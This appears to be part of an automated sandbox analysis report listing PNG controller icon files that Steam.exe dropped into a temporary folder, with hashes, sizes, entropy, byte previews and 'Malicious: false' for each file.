SHA-512:	F5A7F028107E4C50FA42F9930B985D53785C83DB9BF36430E54D99660571D13A42A8B5F2E2B0E53F23E15CA04E236F2FD41F9D55FA450F4319744B21A10E8825
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0339.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16578
Entropy (8bit):	7.861664730505815
Encrypted:	false
SSDEEP:
MD5:	5ADEBBF08FB91C64C509FEA645ECB46B
SHA1:	ABBBAAAE764B7C13B7E965E9CB46B86734DDC4A1
SHA-256:	2EEEE604B24B4A13772E2646C10CAB1D52AB14F9277B9C8278F5D6A1A2E446FA
SHA-512:	5111C20F1E5156E2D5FB10AF12DBC841CC20E56A94CC7878A24D340E61773B089A2D60B3C4EA862573FA369D9F3703E72574294DC2703C806D5BA9712655F74D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0340.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	23352
Entropy (8bit):	7.894646850940545
Encrypted:	false
SSDEEP:
MD5:	1535CF21A02F5BA529BC9B0CDD4DE92B
SHA1:	99F871099AD61A1B319F397DB4ADD44E1140396F
SHA-256:	6C7837B5C9A88181169591E39DEF70CF1C54C3D1203CB04EE539FCB34ADB4D16
SHA-512:	295ACE674C7266EF139AF382ED3D49D1A5D8396342A97BC3F5966A72113CBCFD81023EA7549EE7B416C1970F67597EB1AE0788B238354E97F34B963865BF1378
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0341.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	17829
Entropy (8bit):	7.87779739991704
Encrypted:	false
SSDEEP:
MD5:	847CC85F2A9C99BED70992D1592C9327
SHA1:	745F49AE62C085EF7C631D8F99D7893E21121B4D
SHA-256:	FED8F9C91145560FE933F4F44036F094034D14FB503EDC3C088ED1CC19A6F20A
SHA-512:	B648E11E7BC8F960B272596F22C31BD6DD533A3EDF5F1B0F92CD645A01510B88AB1F4A2D9489F3B7D877F1D60A0F4C3C6FBDBC271A293141D0DADA29F4B5E630
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0342.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18638
Entropy (8bit):	7.877654656286884
Encrypted:	false
SSDEEP:
MD5:	438D2D7F07E557ECBBD3BC44D3B5D9FD
SHA1:	D4679195F0E1BF2E7B8D20595DC850A494EB0E84
SHA-256:	BDDF47198B629DEC2359512DFE56A249D5FF584CAC3BADCCEFAF9AF75FA21371
SHA-512:	31E9BCF0044A5FA01411AE857BD4F8E33A276A0C636360F83263C2B0792178CE63239AA15D81AE09B534042CEC2CDD87EC3339A26E1DDDCCEEF62BB707A6963B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0343.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	20713
Entropy (8bit):	7.8850649835134945
Encrypted:	false
SSDEEP:
MD5:	92D9982CD2161C0A7225AD57FAD72232
SHA1:	8794D25FDE0CA4F926B789230328A67E06EA4CF2
SHA-256:	C09C103DEFAA1916BADA277A6D55BA88FC6AB0C0777DAEB48C75F8B505C78E87
SHA-512:	472A075EC73469E259E8300B2C1FC22433A58FE12B7E16662A5EF8D14792AC303A9FDF88E99363DB53536B8F686CC5BE697C31DD4B4328D57A9478185FC5D40E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0344.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	37208
Entropy (8bit):	7.945102743644253
Encrypted:	false
SSDEEP:
MD5:	68C5A641F243C9C656E90E0BCD532554
SHA1:	D176D7284A2E29235926C51CFAB180101BEE721D
SHA-256:	14CF96CF8C7C443601E3AB694E38336ACE13FE020379E0EE33F7A2C9220289B0
SHA-512:	7FEA57A333863315C906AD37103DA9E2FDBBD4C9098421FAEC54D6374783FDF1A6F6038D04FF484389B476E252CA43FBA1589C810B6B14F43E9F364B80CA9253
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0345.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	24684
Entropy (8bit):	7.909713709416568
Encrypted:	false
SSDEEP:
MD5:	11D1B7F21C7A87096BE6C028D6A17AC9
SHA1:	A2D1F0B87493D4819775C3223B34CE62CABB0C3B
SHA-256:	81727922281DE6AF63411015C88F8AFBD22E83341B07A68A926756CF01CC19E2
SHA-512:	4A7F1B2D508934290C35220613B12CF39236962D75D1ACD23E0188DA3ADAEA645C230A0DE280381F9AAB477CB9B81080230B171C14F361C60DFB1091F593ECC9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0347.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18462
Entropy (8bit):	7.857999070224575
Encrypted:	false
SSDEEP:
MD5:	246469A49368582F0CA14C91782FD33A
SHA1:	8F61F73604DA525E47874123F6999CCA7F544B7A
SHA-256:	F6A1E13F9D305896DC7DC200DAA1661046E881DFADFC627668432C33E6808A56
SHA-512:	A357DF30811B25DBDF80FCE8E6A713753DCDE5EE780F8E61E018D36C9D7008D9A15141367A534A0411F7C396E695F5466A53C773F6178CF1150B855230827FE9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0349.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16566
Entropy (8bit):	7.876105904950725
Encrypted:	false
SSDEEP:
MD5:	858F6CE28C28CF1B155A1E6B7186B1AB
SHA1:	FD44D14D03AAA0187A200B6AC9088F0B304B7589
SHA-256:	0220983BD804332FAE7FD31AEBD4A068F22469C52F95B583B99F7E8E112EC2FF
SHA-512:	B1D2CC12CDF4DB71E45E21211D6FFC6637E69FE99D3696F914DA4E3510D5BBDFE68761CDAF8458F06E666FE7E51FEFA4B8B976C9D8199F5CC83CA36834263A26
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0350.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16375
Entropy (8bit):	7.863144488934373
Encrypted:	false
SSDEEP:
MD5:	B0DC84BA5CA49E532DC04A6622F34862
SHA1:	DE68634BC13D040D0E5DB69DFAABC962D26EFFD6
SHA-256:	16F03A210CDA3CDF65E7F50C442FB4C296994406AF4D5C5B9A801592F309FF17
SHA-512:	EB97B6BF627F25F08AA1CD955C6A1CF87E9C25FA1157650EBCBECFDB7220BFFC7A2ABAC7E9399A1A7355095BDCEAB5FE07BCDA7DF1219B3CCD3799A53A9F146D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0351.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13510
Entropy (8bit):	7.829178126246163
Encrypted:	false
SSDEEP:
MD5:	C1FD12D4D72670DCA030B9413629F11B
SHA1:	32D23F58060CAD189D70BCBADC36DCE5EE21476C
SHA-256:	B726D1E0889C2A20C2B1E9755EF61208D52BFAE4CE6DCCC1176AE5398A982EA1
SHA-512:	2EBFE42F35D2216211094D9FF981669AEB49CC352A55F50D4D63913943F56C73DA7ECCF9CDE80841F2A4CE4D01BAB6ADCD1574B116D4C91887BDF495EC658620
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0352.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	20827
Entropy (8bit):	7.89487516456774
Encrypted:	false
SSDEEP:
MD5:	18425257C1BCCAAD0784F7D4DE122EE9
SHA1:	4A3077F65929888DFBBE6739374D6272B2A7D03F
SHA-256:	C5C614687203EC9F95358A96FFF3CF7C5664F73F7ED757044CB89925A0B4D22A
SHA-512:	3A412D38D28037E407548B47B740183CB4337B09B6DFBD73D6B21C1765F8DD4945A45EE1CC8070CC96657297B4032FD20455CCCEAE2508F6B6329948ED2C6A80
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0353.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	42437
Entropy (8bit):	7.961226075598343
Encrypted:	false
SSDEEP:
MD5:	20A88AD2E742852F1FA5759CEAD57ED1
SHA1:	2E21A89C055FD59982631999B01467E35D0C4914
SHA-256:	70E59B092324731BB24975CFEB5BA70A6D9320E91E708D801B45A3EA280C1D1C
SHA-512:	B534F3C7951807F34F5148CD14FB13FC4344A7DC671F56FEFCF7DEE0F1B9C6B5CFACFB42D8D1F68DC564420E22B5D22EC1E608291C69EE2A19FFA274D251F8DB
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0355.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	36021
Entropy (8bit):	7.941171875068681
Encrypted:	false
SSDEEP:
MD5:	88D3717656AD4D85F10130722CBC8A38
SHA1:	9580F9936807378A55514D0825006F99448A19D9
SHA-256:	2200C4A8114D9733BF81C3DF19AF71E97AE6BE80FF60135C74B9FFF46E23A478
SHA-512:	CFF7A1E6CE9490F7223069D696B9C97877BD260700960EF0A29E4510EADBDC822FB724108BD500D3484F3DCD4440F55B6A9E80D73AA59648B4AA2C6157272851
Malicious:	false
Reputation:	unknown
